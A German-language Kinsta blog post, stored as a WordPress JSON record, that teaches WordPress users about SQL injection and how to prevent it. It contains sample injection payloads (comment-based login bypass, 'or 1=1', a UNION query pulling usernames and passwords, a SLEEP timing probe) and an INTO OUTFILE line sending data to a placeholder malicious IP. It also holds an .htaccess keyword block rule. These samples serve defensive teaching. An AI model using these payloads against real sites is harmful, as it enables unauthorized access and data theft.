{"id":31455,"date":"2020-01-28T01:26:59","date_gmt":"2020-01-28T09:26:59","guid":{"rendered":"https:\/\/staging.kinsta.site\/?p=62827"},"modified":"2022-08-16T17:01:29","modified_gmt":"2022-08-16T16:01:29","slug":"sql-injection","status":"publish","type":"post","link":"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/","title":{"rendered":"SQL Injection: Eine Anf\u00e4ngeranleitung f\u00fcr WordPress-Benutzer"},"content":{"rendered":"<p>SQL (Structured Query Language) ist eine Sprache, die es uns erlaubt, mit <a href=\"https:\/\/staging.kinsta.site\/de\/wissensdatenbank\/wordpress-datenbank\/\" target=\"_blank\" rel=\"noopener noreferrer\">Datenbanken<\/a> zu interagieren. Moderne Webanwendungen verwenden Datenbanken, um Daten zu verwalten und dynamische Inhalte f\u00fcr die Leser anzuzeigen.<\/p>\n<p>SQL Injection oder SQLi ist ein Angriff auf eine Webanwendung, bei dem die Datenbank durch b\u00f6sartige SQL-Anweisungen kompromittiert wird.<\/p>\n<p>Da es sich um einen h\u00e4ufigen Angriff handelt, wollen wir versuchen, mehr dar\u00fcber zu erfahren, was es ist, wie es geschieht und wie man sich dagegen verteidigen kann.<\/p>\n<p>Bereit? Tauchen wir ein!<\/p>\n<div><\/div><kinsta-auto-toc heading=\"Table of Contents\" exclude=\"last\" list-style=\"arrow\" selector=\"h2\" count-number=\"-1\"><\/kinsta-auto-toc>\n<h2>Was ist SQL Injection?<\/h2>\n<p>SQL Injection oder SQLi ist eine Art von Angriff auf eine Webanwendung, die es einem Angreifer erm\u00f6glicht, b\u00f6sartige SQL-Anweisungen in die Webanwendung einzuf\u00fcgen, wodurch er m\u00f6glicherweise Zugang zu sensiblen Daten in der Datenbank erh\u00e4lt oder diese Daten zerst\u00f6rt werden k\u00f6nnen. SQL Injection wurde erstmals 1998 von Jeff Forristal entdeckt.<\/p>\n<p>In den zwei Jahrzehnten seit seiner Entdeckung war die SQL Injection f\u00fcr <a href=\"https:\/\/staging.kinsta.site\/de\/blog\/wordpress-entwickler-engagiert\/\" target=\"_blank\" rel=\"noopener noreferrer\">Webentwickler<\/a> bei der Entwicklung von Anwendungen stets die oberste Priorit\u00e4t.<\/p>\n<p>Barclaycard sch\u00e4tzte 2012, dass <a href=\"https:\/\/www.techworld.com\/news\/security\/barclays-97-percent-of-data-breaches-still-due-sql-injection-3331283\/\" target=\"_blank\" rel=\"noopener noreferrer\">97% der Datenverletzungen mit einem SQL Injection-Angriff beginnen<\/a>. Eine SQL Injection ist auch heute noch weit verbreitet, und die Schwere von Injection-Angriffen in einer Webanwendung ist weithin anerkannt. Sie geh\u00f6rt zu den <a href=\"https:\/\/www.owasp.org\/images\/7\/72\/OWASP_Top_10-2017_%28en%29.pdf.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">zehn kritischsten Sicherheitsrisiken f\u00fcr Webanwendungen<\/a> von OWASP.<\/p>\n<h2>Wie funktioniert die SQL Injection-Schwachstelle?<\/h2>\n<p>Eine SQL Injection-Schwachstelle erm\u00f6glicht einem Angreifer den vollst\u00e4ndigen Zugriff auf die Datenbank deiner Anwendung durch b\u00f6sartige SQL-Anweisungen.<\/p>\n<p>In diesem Abschnitt zeigen wir ein Beispiel daf\u00fcr, wie eine verwundbare Anwendung aussieht.<\/p>\n<p>Stelle dir den Arbeitsablauf einer typischen Webanwendung vor, bei der Datenbankanforderungen durch Benutzereingaben erfolgen. Du nimmst die Benutzereingaben \u00fcber ein Formular, z.B. ein <a href=\"https:\/\/staging.kinsta.site\/de\/blog\/wordpress-url-loggst\/\" target=\"_blank\" rel=\"noopener noreferrer\">Anmeldeformular<\/a>, entgegen. Dann fragt man die Datenbank mit den vom Benutzer eingereichten Feldern ab, um sie zu authentifizieren. Die Struktur der Abfrage an die Datenbank ist ungef\u00e4hr so:<\/p>\n<pre><code class=\"language-sql\">select * from user_table\nwhere username = 'sdaityari'\nand password = 'mypassword';<\/code><\/pre>\n<p>Der Einfachheit halber nehmen wir an, dass du deine Passw\u00f6rter als Klartext speicherst. Es ist jedoch eine gute Praxis, <a href=\"https:\/\/staging.kinsta.site\/de\/wissensdatenbank\/wordpress-salts\/\" target=\"_blank\" rel=\"noopener noreferrer\">die Passw\u00f6rter zu verstecken<\/a> und sie dann zu hashen. Wenn du den Benutzernamen und das Passwort aus dem Formular erhalten hast, kannst du die Abfrage in PHP wie folgt definieren:<\/p>\n<pre><code class=\"language-php\">\/\/ Connect to SQL database\n$db_query = \"select * from user_table where\nusername = '\".$user.\"'\nAND password = '\".$password.\"';\";\n\/\/ Execute query\n<\/code><\/pre>\n<p>Wenn jemand den Wert &#8222;admin&#8216;;-&#8220; in das Feld f\u00fcr den Benutzernamen eingibt, sieht die resultierende SQL-Abfrage, die die Variable $db_query erzeugt, wie folgt aus:<\/p>\n<pre><code class=\"language-sql\">select * from user_table where\nusername = 'admin';--' and password = 'mypassword'<\/code><\/pre>\n<p>Was bewirkt diese Abfrage?<\/p>\n<p>Ein Kommentar in SQL beginnt mit doppelten Strichen (-). Die resultierende Abfrage filtert nur nach dem Benutzernamen, ohne das Passwort zu ber\u00fccksichtigen. Wenn es keine Sicherheitsvorkehrungen g\u00e4be, um dies zu vermeiden, w\u00fcrde man nur \u00fcber diesen Trick administrativen Zugriff auf die Webanwendung erhalten.<\/p>\n<p>Alternativ kann in diesem Beispiel auch ein boolescher Angriff verwendet werden, um Zugang zu erhalten. Wenn ein Angreifer &#8222;password&#8216; oder 1=1;-&#8220; in das Passwortfeld eingibt, w\u00fcrde die resultierende Abfrage wie folgt aussehen:<\/p>\n<pre><code class=\"language-sql\">select * from user_table where\nusername = 'admin' and\npassword = 'password' or 1=1;--';\n<\/code><\/pre>\n<p>In diesem Fall w\u00fcrdest du selbst bei einem falschen Passwort in der Anwendung authentifiziert werden. Wenn die Ergebnisse der Datenbankabfrage auf der Webseite angezeigt werden, kann ein Angreifer den Befehl show tables verwenden, die Tabellen in der Datenbank anzeigen lassen und dann Tabellen selektiv fallen lassen, wenn er dies w\u00fcnscht.<\/p>\n<figure style=\"width: 666px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/staging.kinsta.site\/de\/wp-content\/uploads\/sites\/5\/2019\/11\/exploits-of-a-mom.png\" alt=\"Eine Karikatur zur SQL Injection \" width=\"666\" height=\"205\"><figcaption class=\"wp-caption-text\">Eine Karikatur zur SQL Injection (Bildquelle <a href=\"https:\/\/xkcd.com\/327\/\">XKCD<\/a>)<\/figcaption><\/figure>\n<p>Heldentaten einer Mutter, ein beliebter Comic von XKCD, zeigt das Gespr\u00e4ch einer Mutter mit der Schule ihres Sohnes, in dem sie gefragt wird, ob sie ihren Sohn wirklich \u201cRobert\u2019); DROP TABLE Students; \u2013\u201d genannt hat.<\/p>\n<h2>Arten von SQL Injection<\/h2>\n<p>Da wir nun die Grundlagen einer SQL-Injection-Schwachstelle kennen, wollen wir die verschiedenen Arten von SQL-Injection-Angriffen und den Grund f\u00fcr jeden dieser Angriffe untersuchen.<\/p>\n<h3>In-Band SQL-Injection<\/h3>\n<p>In-Band-SQL-Injection ist die einfachste Form der SQL-Injection. Bei diesem Verfahren kann der Angreifer den gleichen Kanal nutzen, um den b\u00f6sartigen SQL-Code in die Anwendung einzuf\u00fcgen und die Ergebnisse zu sammeln. Wir werden zwei Formen von In-Band-SQL-Injection-Angriffen diskutieren:<\/p>\n<h4>Fehlerbasierter Angriff<\/h4>\n<p>Ein Angreifer verwendet in der Anfangsphase seines Angriffs eine fehlerbasierte SQL-Injektionstechnik. Die Idee hinter einer fehlerbasierten SQL-Injection ist es, weitere Informationen \u00fcber die Datenbankstruktur und die Tabellennamen zu erhalten, denen die Webanwendung folgt. So kann eine Fehlermeldung beispielsweise den in der Abfrage enthaltenen Tabellennamen und die Spaltennamen der Tabelle enthalten. Diese Daten k\u00f6nnen dann zur Erstellung neuer Angriffe verwendet werden.<\/p>\n<h4>Unionsbasierter Angriff<\/h4>\n<p>Bei dieser Methode verwendet ein Angreifer den SQL-Union-Join, um die Ergebnisse aus einer anderen Tabelle anzuzeigen. Wenn sich ein Angreifer zum Beispiel auf einer <a href=\"https:\/\/staging.kinsta.site\/de\/blog\/wordpress-suche\/\" target=\"_blank\" rel=\"noopener noreferrer\">Suchseite<\/a> befindet, kann er die Ergebnisse aus einer anderen Tabelle anh\u00e4ngen.<\/p>\n<pre><code class=\"language-sql\">select title, link from post_table\nwhere id &lt; 10\nunion\nselect username, password\nfrom user_table; --;\n<\/code><\/pre>\n<h3>Inferential SQL Injection (Blind SQL Injection)<\/h3>\n<p>Selbst wenn ein Angreifer einen Fehler in der SQL-Abfrage erzeugt, kann es vorkommen, dass die Antwort der Abfrage nicht direkt auf die Webseite \u00fcbertragen wird. In einem solchen Fall muss der Angreifer weitere Untersuchungen durchf\u00fchren.<\/p>\n<p>Bei dieser Form der SQL-Injektion sendet der Angreifer verschiedene Abfragen an die Datenbank, um zu beurteilen, wie die Anwendung diese Antworten analysiert. Eine inferentielle SQL-Injection wird manchmal auch als <strong>blinde SQL-Injection<\/strong> bezeichnet. Im Folgenden werden zwei Arten von inferentiellen SQL-Injections betrachtet: Boolesche SQL-Injection und zeitbasierte SQL-Injection.<\/p>\n<h4>Boolescher Angriff<\/h4>\n<p>Wenn eine SQL-Abfrage zu einem Fehler f\u00fchrt, der nicht intern in der Anwendung behandelt wurde, kann die resultierende Webseite einen Fehler ausl\u00f6sen, eine leere Seite laden oder teilweise geladen werden. Bei einer booleschen SQL-Injection bewertet ein Angreifer, welche Teile der Eingabe eines Benutzers f\u00fcr SQL-Injections anf\u00e4llig sind, indem er zwei verschiedene Versionen einer booleschen Klausel durch die Eingabe ausprobiert:<\/p>\n<ul>\n<li>&#8222;\u2026 and 1=1&#8220;<\/li>\n<li>&#8222;\u2026 and 1=2&#8220;<\/li>\n<\/ul>\n<p>Wenn die Anwendung im ersten Fall normal funktioniert, aber im zweiten Fall eine Anomalie aufweist, deutet dies darauf hin, dass die Anwendung f\u00fcr einen SQL-Injection-Angriff anf\u00e4llig ist.<\/p>\n<h4>Zeitbasierter Angriff<\/h4>\n<p>Ein zeitbasierter SQL-Injection-Angriff kann einem Angreifer auch dabei helfen, <a href=\"https:\/\/staging.kinsta.site\/de\/wissensdatenbank\/sicherheitsanfaelligkeit-melden\/\" target=\"_blank\" rel=\"noopener noreferrer\">festzustellen, ob eine Schwachstelle in einer Webanwendung vorhanden ist<\/a>. Ein Angreifer nutzt eine vordefinierte zeitbasierte Funktion des Datenbankverwaltungssystems, die von der Anwendung verwendet wird. <a href=\"https:\/\/staging.kinsta.site\/de\/wissensdatenbank\/was-ist-mysql\/\" target=\"_blank\" rel=\"noopener noreferrer\">In MySQL<\/a> weist beispielsweise <a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.0\/en\/miscellaneous-functions.html#function_sleep\" target=\"_blank\" rel=\"noopener noreferrer\">die Funktion sleep() <\/a>die Datenbank an, eine bestimmte Anzahl von Sekunden zu warten.<\/p>\n<pre><code class=\"language-sql\">select * from comments\nWHERE post_id=1-SLEEP(15);\n<\/code><\/pre>\n<p>Wenn eine solche Abfrage zu einer Verz\u00f6gerung f\u00fchrt, w\u00fcrde der Angreifer wissen, dass er verwundbar ist.<\/p>\n<h3>Out-of-Band-SQL-Injection<\/h3>\n<p>Wenn ein Angreifer nicht in der Lage ist, die Ergebnisse einer SQL-Injektion \u00fcber den gleichen Kanal zu erfassen. Out-of-Band-SQL-Injection-Techniken k\u00f6nnen als Alternative zu inferentiellen SQL-Injection-Techniken verwendet werden.<\/p>\n<p>Typischerweise beinhalten diese Techniken das Senden von Daten aus der Datenbank an einen b\u00f6sartigen Ort der Wahl des Angreifers. Auch dieser Prozess h\u00e4ngt in hohem Ma\u00dfe von den F\u00e4higkeiten des Datenbankmanagementsystems ab.<\/p>\n<p>Ein Out-of-Band-SQL-Injection-Angriff nutzt eine externe Dateiverarbeitungsfunktion deines DBMS. In MySQL k\u00f6nnen die Funktionen LOAD_FILE() und INTO OUTFILE verwendet werden, um MySQL zur \u00dcbertragung der Daten an eine externe Quelle aufzufordern. Im Folgenden wird erl\u00e4utert, wie ein Angreifer OUTFILE verwenden k\u00f6nnte, um die Ergebnisse einer Abfrage an eine externe Quelle zu senden:<\/p>\n<pre><code class=\"language-sql\">select * from post_table\ninto OUTFILE '\\\\\\\\MALICIOUS_IP_ADDRESS\\location'\n<\/code><\/pre>\n<p>In \u00e4hnlicher Weise kann die Funktion LOAD_FILE() verwendet werden, um eine Datei vom Server zu lesen und ihren Inhalt anzuzeigen. Eine Kombination aus LOAD_FILE() und OUTFILE kann verwendet werden, um den Inhalt einer Datei auf dem Server zu lesen und sie dann an eine andere Stelle zu \u00fcbertragen.<\/p>\n<h2>So verhindert man SQL-Injections<\/h2>\n<p>Bisher haben wir die Schwachstellen in einer Webanwendung untersucht, die zu SQL-Injection-Angriffen f\u00fchren k\u00f6nnen. Eine SQL-Injection-Schwachstelle kann von einem Angreifer genutzt werden, um den Inhalt Ihrer Datenbank zu lesen, zu \u00e4ndern oder sogar zu entfernen.<\/p>\n<p>Dar\u00fcber hinaus kann sie es auch erm\u00f6glichen, eine Datei an einem beliebigen Ort innerhalb des Servers zu lesen und den Inhalt an einen anderen Ort zu \u00fcbertragen. In diesem Abschnitt untersuchen wir verschiedene Techniken zum Schutz deiner Webanwendung und Website vor SQL-Injection-Angriffen.<\/p>\n<h3>Escape-Benutzereingaben<\/h3>\n<p>Im Allgemeinen ist es eine schwierige Aufgabe, festzustellen, ob eine Benutzerzeichenfolge b\u00f6sartig ist oder nicht. Daher ist es am besten, Sonderzeichen in der Benutzereingabe zu vermeiden.<\/p>\n<p>Dieser Prozess bewahrt dich vor einem SQL-Injection-Angriff. Du kannst einen String vor dem Erstellen der Anfrage in <a href=\"https:\/\/staging.kinsta.site\/de\/blog\/ist-php-tot\/\" target=\"_blank\" rel=\"noopener noreferrer\">PHP<\/a> mit der Funktion <code>mysql_escape_string()<\/code> entkommen lassen. Du kannst eine Zeichenkette in MySQL auch mit der Funktion <code>mysqli_real_escape_string()<\/code> entkommen.<\/p>\n<p>Wenn du die Ausgabe als HTML anzeigst, musst du die Zeichenkette auch konvertieren, um sicherzustellen, dass die Sonderzeichen das HTML-Markup nicht st\u00f6ren. Du kannst Sonderzeichen in PHP mit der Funktion <code>htmlspecialchars()<\/code> konvertieren.<\/p>\n<h3>Vorbereitete Anweisungen verwenden<\/h3>\n<p>Alternativ kannst du vorbereitete Anweisungen verwenden, um SQL-Injections zu vermeiden. Eine Prepared Statement ist eine Vorlage f\u00fcr eine SQL-Abfrage, bei der du zu einem sp\u00e4teren Zeitpunkt Parameter angibst, um sie auszuf\u00fchren. Hier ist ein Beispiel f\u00fcr eine vorbereitete Anweisung in PHP und MySQLi.<\/p>\n<pre><code class=\"language-php\">$query = $mysql_connection-&gt;prepare(\"select * from user_table where username = ? and password = ?\");\n$query-&gt;execute(array($username, $password));<\/code><\/pre>\n<h3>Weitere Hygienepr\u00fcfungen zur Verhinderung von SQL-Angriffen<\/h3>\n<p>Der n\u00e4chste Schritt zur Eind\u00e4mmung dieser Schwachstelle besteht darin, den Zugriff auf die Datenbank auf das notwendige Ma\u00df zu beschr\u00e4nken.<\/p>\n<p>Verbinde z.B. deine Webanwendung mit dem DBMS unter Verwendung eines bestimmten Benutzers, der nur Zugriff auf die entsprechende Datenbank hat.<\/p>\n<p>Beschr\u00e4nke den Zugriff des Datenbankbenutzers auf alle anderen Standorte des Servers. M\u00f6glicherweise soll auch der Zugriff auf bestimmte SQL-Schl\u00fcsselw\u00f6rter in der URL \u00fcber den Webserver blockiert werden. Wenn du <a href=\"https:\/\/staging.kinsta.site\/de\/blog\/nginx-vs-apache\/\" target=\"_blank\" rel=\"noopener noreferrer\">Apache<\/a> als Web-Server verwendest, kannst du die folgenden Codezeilen in deiner <a href=\"https:\/\/staging.kinsta.site\/de\/wissensdatenbank\/wordpress-htaccess-datei\/\" target=\"_blank\" rel=\"noopener noreferrer\">.htaccess-Datei<\/a> verwenden, um einem potentiellen Angreifer einen 403 Forbidden-Fehler anzuzeigen.<\/p>\n<p>Du solltest vorsichtig sein, bevor du diese Technik verwendest, da der Apache einem Leser einen Fehler anzeigt, wenn die URL diese Schl\u00fcsselw\u00f6rter enth\u00e4lt.<\/p>\n<pre><code>RewriteCond %{QUERY_STRING} [^a-z](declare\u00a6char\u00a6set\u00a6cast\u00a6convert\u00a6delete\u00a6drop\u00a6exec\u00a6insert\u00a6meta\u00a6script\u00a6select\u00a6truncate\u00a6update)[^a-z] [NC]\nRewriteRule (.*) - [F]<\/code><\/pre>\n<aside role=\"note\" class=\"wp-block-kinsta-notice is-style-info\">\n            <h3>Info<\/h3>\n        <p><strong>Kinsta f\u00fchrt WordPress auf dem Nginx-Webserver aus, der keine .htaccess-Datei unterst\u00fctzt. Wenn du eine Regel zum Blockieren von Schl\u00fcsselw\u00f6rtern auf deiner URL aufstellen m\u00f6chtest, wende dich an das <\/strong><a href=\"https:\/\/staging.kinsta.site\/docs\/wordpress-support-ticket\/\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>Kinsta-Supportteam<\/strong><\/a><strong>, und es wird dir helfen.<\/strong><\/p>\n<\/aside>\n\n<p>Als zus\u00e4tzlichen Pr\u00e4ventionstipp solltest du immer <a href=\"https:\/\/staging.kinsta.site\/de\/blog\/wordpress-gehacked\/#2-keep-your-site-updated\" target=\"_blank\" rel=\"noopener noreferrer\">aktualisierte Software<\/a> verwenden. Wenn eine neue Version oder ein Patch ver\u00f6ffentlicht wird, werden die Fehler, die in der Aktualisierung behoben wurden, in den Versionshinweisen detailliert aufgef\u00fchrt. Sobald die Details eines Fehlers \u00f6ffentlich bekannt sind, kann es riskant sein, eine alte Version einer Software zu verwenden.<\/p>\n<h2>SQL Injection in WordPress<\/h2>\n<p>Du bist sicher vor jeder SQL-Injection-Schwachstelle, wenn du <a href=\"https:\/\/staging.kinsta.site\/de\/wissensdatenbank\/wordpress-core\/\" target=\"_blank\" rel=\"noopener noreferrer\">die aktuelle WordPress-Core Datei verwendest<\/a>. Wenn du jedoch <a href=\"https:\/\/staging.kinsta.site\/de\/die-besten-wordpress-themes\/\">Themes und Plugins von Drittanbietern<\/a> verwenden, ist deine gesamte Anwendung gef\u00e4hrdet.<\/p>\n<p><strong>Deine WordPress-Seite ist nur so stark wie ihr schw\u00e4chstes Glied<\/strong>. In diesem Abschnitt gehen wir auf die wichtigsten \u00dcberlegungen zur Minderung der SQL-Injection-Schwachstelle in WordPress ein und zeigen dir, wie du auf deiner bestehenden WordPress-Seite Schwachstellenpr\u00fcfungen durchf\u00fchren kannst.<\/p>\n<h3>Pr\u00e4vention von SQL-Injection-Schwachstellen in WordPress<\/h3>\n<p>Um die Anf\u00e4lligkeit von SQL Injection in deinem <a href=\"https:\/\/staging.kinsta.site\/de\/blog\/wordpress-theme-installiert\/\" target=\"_blank\" rel=\"noopener noreferrer\">WordPress-Theme <\/a>oder Plugin zu mindern, musst du als einzige Regel befolgen, dass du bei der Interaktion mit der Datenbank immer <a href=\"https:\/\/developer.wordpress.org\/reference\/functions\/\" target=\"_blank\" rel=\"noopener noreferrer\">vorhandene WordPress-Funktionen<\/a> verwendest.<\/p>\n<p>Diese Funktionen werden w\u00e4hrend des WordPress-Entwicklungsprozesses gr\u00fcndlich auf SQL-Injection-Schwachstellen getestet. Wenn du beispielsweise einen Kommentar zu einem Beitrag hinzuf\u00fcgen m\u00f6chtest, verwende die <a href=\"https:\/\/developer.wordpress.org\/reference\/functions\/wp_insert_comment\/\" target=\"_blank\" rel=\"noopener noreferrer\">Funktion wp_insert_comment()<\/a>, anstatt Daten direkt in die wp_comments-Tabelle einzuf\u00fcgen.<\/p>\n<p>Obwohl die Funktionen erweiterbar sind, kann es sein, dass du gelegentlich eine komplexe Abfrage ausf\u00fchren musst. Stelle in einem solchen Fall sicher, dass du die <a href=\"https:\/\/developer.wordpress.org\/reference\/classes\/wpdb\/\" target=\"_blank\" rel=\"noopener noreferrer\">Funktionsgruppe $wp_db verwendest<\/a>. Du kannst $wpdb-&gt;prepare() verwenden, um Benutzereingaben vor der Erstellung der Abfrage zu vermeiden.<\/p>\n<p>Zus\u00e4tzlich findest du hier <a href=\"https:\/\/developer.wordpress.org\/themes\/theme-security\/data-sanitization-escaping\/\" target=\"_blank\" rel=\"noopener noreferrer\">eine Liste von Funktionen<\/a> zur Bereinigung von Daten in WordPress. Diese helfen dabei, bestimmte Arten von Benutzereingaben wie E-Mails und URLs zu umgehen.<\/p>\n<h3>Sichere deine WordPress Seite<\/h3>\n<p>W\u00e4hrend <a href=\"https:\/\/staging.kinsta.site\/de\/blog\/ist-wordpress-sicher\/\" target=\"_blank\" rel=\"noopener noreferrer\">WordPress selbst sicher ist<\/a>, k\u00f6nnen Probleme wie veraltete Core-Software und <a href=\"https:\/\/staging.kinsta.site\/de\/blog\/nulled-wordpress-plugins-und-themes\/\" target=\"_blank\" rel=\"noopener noreferrer\">ung\u00fcltige Plugins<\/a> zu Schwachstellen f\u00fchren. Es gibt zwar keine Alternative dazu, dass du deine WordPress-Seite gr\u00fcndlich auf SQL-Injection-Schwachstellen \u00fcberpr\u00fcfst, aber die Komplexit\u00e4t einer Website kann diese Aufgabe zu einer Herausforderung machen.<\/p>\n<p>Du kannst ein Online-Scan-Tool wie <a href=\"https:\/\/db.threatpress.com\/\" target=\"_blank\" rel=\"noopener noreferrer\">ThreatPass<\/a> und <a href=\"https:\/\/wpscan.org\/\" target=\"_blank\" rel=\"noopener noreferrer\">WPScan<\/a> Vulnerability Database verwenden. Du kannst deine Plugins \u00fcberpr\u00fcfen, um zu sehen, ob ihre Entwicklung zum Stillstand gekommen ist. Wenn sie vor einer Weile aufgegeben wurden, ist es vielleicht keine gute Idee, sie auf deiner Website zu verwenden.<\/p>\n<p>Wenn du sie dennoch unbedingt verwenden willst, stelle sicher, dass du ihren Code und ihre Funktionalit\u00e4t gr\u00fcndlich auf Schwachstellen pr\u00fcfst. Ansonsten solltest du unbedingt diese Hygiene-Checks durchf\u00fchren:<\/p>\n<ul>\n<li>PHP, WordPress-Core und MySQL aktualisieren<\/li>\n<li>Aktualisierung von Plugins und Themes von Drittanbietern<\/li>\n<li>Vermeide die Verwendung des Root-Benutzers zur Verbindung der SQL-Datenbank<\/li>\n<li>Beschr\u00e4nke die Zugriffe des SQL-Benutzers auf sensible Verzeichnisse<\/li>\n<li>Blockiere SQL-Schl\u00fcsselw\u00f6rter mit deinem Server<\/li>\n<li>Halte Backups deiner Website f\u00fcr den Fall von irreversiblen Sch\u00e4den au\u00dferhalb der Webseite<\/li>\n<\/ul>\n<p>Hier ist ein <a href=\"https:\/\/staging.kinsta.site\/de\/blog\/wordpress-sicherheit\/\" target=\"_blank\" rel=\"noopener noreferrer\">detaillierter Beitrag \u00fcber die Sicherheit von WordPress<\/a> und eine umfassende Liste von Pr\u00fcfungen. Dar\u00fcber hinaus solltest du in diese <a href=\"https:\/\/staging.kinsta.site\/de\/blog\/wordpress-sicherheits-plugin\/\" target=\"_blank\" rel=\"noopener noreferrer\">Top-Sicherheits-Plugins<\/a> f\u00fcr WordPress investieren. Hier ist, was du tun solltest, <a href=\"https:\/\/staging.kinsta.site\/de\/blog\/wordpress-gehacked\/\" target=\"_blank\" rel=\"noopener noreferrer\">wenn deine WordPress-Seite trotz deiner Bem\u00fchungen gehackt wird<\/a>.<\/p>\n<aside role=\"note\" class=\"wp-block-kinsta-notice is-style-info\">\n            <h3>Info<\/h3>\n        <p>Kinsta bietet all seinen Kunden in allen Pl\u00e4nen ein <a href=\"https:\/\/staging.kinsta.site\/de\/wissensdatenbank\/malware-sicherheit\/\">Malware-Sicherheitsversprechen<\/a>.<\/p>\n<\/aside>\n\n<h2>Ist SQL-Injection illegal?<\/h2>\n<p>Definitiv, ja! Auch wenn es eine tats\u00e4chliche Schwachstelle gibt, versucht ein Angreifer immer noch, Zugriff auf Daten zu erhalten, die ihm sonst nicht zur Verf\u00fcgung st\u00fcnden.<\/p>\n<p>Stelle dir ein Szenario vor, bei dem jemand seine Schl\u00fcssel im Auto liegen l\u00e4sst. Stellt das Wegfahren darin ein Vergehen dar, nur weil es offen und unbeaufsichtigt gelassen wurde? Die Handlung von SQLi f\u00e4llt in verschiedenen L\u00e4ndern unter unterschiedliche Gesetze. In den USA f\u00e4llt es unter den <a href=\"https:\/\/www.justice.gov\/sites\/default\/files\/criminal-ccips\/legacy\/2015\/01\/14\/ccmanual.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">Computer Fraud and Abuse Act (1986)<\/a> und im Vereinigten K\u00f6nigreich unter den<a href=\"http:\/\/www.legislation.gov.uk\/ukpga\/1990\/18\/contents\" target=\"_blank\" rel=\"noopener noreferrer\"> Computer Misuse Act (1990)<\/a>.<\/p>\n\n<h2>Zusammenfassung<\/h2>\n<p>SQL-Injections-Schwachstellen wurden vor langer Zeit entdeckt. Ein <a href=\"https:\/\/www.webarxsecurity.com\/website-hacking-statistics-2018-february\/\" target=\"_blank\" rel=\"noopener noreferrer\">Bericht aus dem Jahr 2018 \u00fcber gehackte Websites<\/a> l\u00e4sst jedoch vermuten, dass SQLi der h\u00e4ufigste Website-Hack f\u00fcr WordPress nach XSS-Angriffen ist. Um sie zu verhindern, solltest du das tun:<\/p>\n<ul>\n<li>Verstehen, wie die SQL-Injection-Schwachstelle funktioniert<\/li>\n<li>Untersuche die verschiedene M\u00f6glichkeiten, wie Angreifer SQLi verwenden k\u00f6nnen, um unbefugten Zugriff auf deine Webanwendung zu erhalten.<\/li>\n<li>Implementiere Methoden zum Schutz deiner Website vor SQLi-Angriffen, wie z.B. das Entgehen von Benutzereingaben und die Verwendung vorbereiteter Anweisungen.<\/li>\n<li>Folge einer Sicherheitskontrollroutine<\/li>\n<\/ul>\n<p>Wie das alte Sprichwort sagt: &#8222;Vorsorge ist besser als Nachsorge&#8220;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SQL (Structured Query Language) ist eine Sprache, die es uns erlaubt, mit Datenbanken zu interagieren. Moderne Webanwendungen verwenden Datenbanken, um Daten zu verwalten und dynamische Inhalte &#8230;<\/p>\n","protected":false},"author":118,"featured_media":31469,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_kinsta_gated_content":false,"_kinsta_gated_content_redirect":"","footnotes":""},"tags":[264,197],"topic":[],"class_list":["post-31455","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","tag-sitesecurity","tag-wordpresshack"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v17.1.2 (Yoast SEO v25.8) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>SQL Injection: Eine Anf\u00e4ngeranleitung f\u00fcr WordPress-Benutzera<\/title>\n<meta name=\"description\" content=\"Erfahre, was eine SQL Injection ist, wie die SQL Injection-Schwachstelle in deinen Webanwendungen (wie z.B. WordPress-Seiten) entstehen kann und wie du Angriffe verhindern kannst.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"SQL Injection: Eine Anf\u00e4ngeranleitung f\u00fcr WordPress-Benutzer\" \/>\n<meta property=\"og:description\" content=\"Erfahre, was eine SQL Injection ist, wie die SQL Injection-Schwachstelle in deinen Webanwendungen (wie z.B. WordPress-Seiten) entstehen kann und wie du Angriffe verhindern kannst.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/\" \/>\n<meta property=\"og:site_name\" content=\"Kinsta\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/Kinsta-Deutschland-207459890108303\/\" \/>\n<meta property=\"article:published_time\" content=\"2020-01-28T09:26:59+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-08-16T16:01:29+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/staging.kinsta.site\/de\/wp-content\/uploads\/sites\/5\/2020\/01\/sql-injection.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1460\" \/>\n\t<meta property=\"og:image:height\" content=\"730\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Shaumik Daityari\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:description\" content=\"Erfahre, was eine SQL Injection ist, wie die SQL Injection-Schwachstelle in deinen Webanwendungen (wie z.B. WordPress-Seiten) entstehen kann und wie du Angriffe verhindern kannst.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/staging.kinsta.site\/de\/wp-content\/uploads\/sites\/5\/2020\/01\/sql-injection.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@Kinsta_DE\" \/>\n<meta name=\"twitter:site\" content=\"@Kinsta_DE\" \/>\n<meta name=\"twitter:label1\" content=\"Verfasst von\" \/>\n\t<meta name=\"twitter:data1\" content=\"Shaumik Daityari\" \/>\n\t<meta name=\"twitter:label2\" content=\"Gesch\u00e4tzte Lesezeit\" \/>\n\t<meta name=\"twitter:data2\" content=\"11\u00a0Minuten\" \/>\n<script type=\"application\/ld+json\" 